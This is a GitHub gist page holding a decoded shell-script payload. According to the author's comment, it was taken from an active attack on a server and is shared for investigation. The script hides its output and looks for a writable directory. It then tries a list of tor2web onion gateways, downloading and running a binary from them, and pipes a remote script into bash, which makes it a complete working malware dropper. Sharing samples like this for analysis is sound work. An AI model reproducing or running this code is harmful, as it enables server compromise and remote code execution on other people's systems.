Skip to content

Instantly share code, notes, and snippets.

@d4l-w4r
Created March 20, 2020 11:06
Show Gist options
  • Save d4l-w4r/6ab38793a6d5ae95df95b16cd28823f2 to your computer and use it in GitHub Desktop.
Save d4l-w4r/6ab38793a6d5ae95df95b16cd28823f2 to your computer and use it in GitHub Desktop.
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=tencentxjy5kpccv
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in $dir /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T99 -qU- -O- --no-check-certificate $1$x || curl -m99 -fsSLkA- $1$x
}
for h in d2web.org onion.mn tor2web.io tor2web.to onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
x tencentxjy5kpccv.$h
else
break
fi
done
if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
(
u $t.d2web.org ||
u $t.onion.mn ||
u $t.tor2web.io ||
u $t.tor2web.to ||
u $t.onion.to ||
u $t.onion.in.net ||
u $t.4tor.ml ||
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.tor2web.su ||
u $t.onion.ly ||
u $t.onion.pet ||
u $t.onion.ws
)|bash
fi
@d4l-w4r
Copy link
Author

d4l-w4r commented Mar 20, 2020

This is the base64 decoded payload of an active attack that was found on a server.
Details are here https://dev.to/sanchitsharma/investigation-into-postgres-malware-hack-2ai0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment